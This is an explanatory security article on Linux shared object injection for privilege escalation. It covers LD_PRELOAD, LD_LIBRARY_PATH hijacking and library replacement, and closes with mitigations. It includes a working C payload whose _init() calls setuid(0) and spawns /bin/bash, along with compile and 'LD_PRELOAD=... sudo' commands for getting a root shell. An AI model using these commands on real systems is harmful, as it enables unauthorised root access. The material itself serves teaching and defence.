Shared Object Injection for Privilege Escalation
Shared Object (SO) injection is a technique where an attacker forces a process to load a malicious shared library (.so file) into its memory. When executed, the malicious code in the library runs with the privileges of the target process, potentially leading to privilege escalation if the process has higher privileges (e.g., root).
How Shared Object Injection Works
Shared Libraries in Linux:
- Linux dynamically links shared libraries (
.sofiles) at runtime. - Applications specify required libraries in their code, and the system’s dynamic linker loads them when the application starts.
- Linux dynamically links shared libraries (
Manipulating Library Loading:
- Attackers can exploit library loading mechanisms, such as modifying environment variables (
LD_PRELOAD,LD_LIBRARY_PATH), or targeting programs that improperly handle library paths.
- Attackers can exploit library loading mechanisms, such as modifying environment variables (
Privilege Escalation:
- If an attacker can make a root-owned process load their malicious
.sofile, they can execute arbitrary code as root.
- If an attacker can make a root-owned process load their malicious
Techniques for Shared Object Injection
1. Using LD_PRELOAD:
The
LD_PRELOADenvironment variable allows users to specify additional shared libraries to be loaded before any others.Exploit scenario:
- A program with
sudopermissions does not sanitize environment variables. - The attacker sets
LD_PRELOADto point to their malicious.sofile.
- A program with
Example:
1 2 3echo 'void _init() { setuid(0); system("/bin/bash"); }' > exploit.c gcc -shared -fPIC -o exploit.so exploit.c LD_PRELOAD=./exploit.so sudo some-command
2. Hijacking LD_LIBRARY_PATH:
LD_LIBRARY_PATHspecifies directories for the linker to search for shared libraries.Exploit scenario:
- The attacker modifies
LD_LIBRARY_PATHto include a directory containing malicious libraries.
- The attacker modifies
Example:
1export LD_LIBRARY_PATH=/tmp/malicious:$LD_LIBRARY_PATH
3. Replacing Legitimate Libraries:
- Replace a shared library on the system with a malicious one.
- Exploit scenario:
- Insufficient file permissions allow an attacker to overwrite a
.sofile used by a privileged program.
- Insufficient file permissions allow an attacker to overwrite a
4. Dynamic Linking Exploits:
- Exploit applications that dynamically load libraries during execution using functions like
dlopen()ordlsym().
Example: Privilege Escalation Using LD_PRELOAD
Create a Malicious Shared Object:
1 2 3 4 5 6#include <stdio.h> #include <stdlib.h> void _init() { setuid(0); // Set the UID to root system("/bin/bash"); // Spawn a root shell }Save this as
exploit.cand compile:1gcc -fPIC -shared -o exploit.so exploit.cSet LD_PRELOAD:
1LD_PRELOAD=/path/to/exploit.so sudo some-commandResult: A root shell is spawned if the target process is vulnerable.
Mitigations Against SO Injection
Disable
LD_PRELOADfor SUID Programs:- Modern Linux systems ignore
LD_PRELOADfor SUID binaries to prevent this type of attack.
- Modern Linux systems ignore
Restrict
LD_LIBRARY_PATH:- Limit the use of custom library paths in privileged programs.
Secure File Permissions:
- Ensure shared libraries are owned by root and are not writable by unprivileged users.
Use Static Linking:
- For critical programs, avoid dynamic linking altogether.
Audit Programs:
- Identify and fix applications that dynamically load libraries without proper checks.
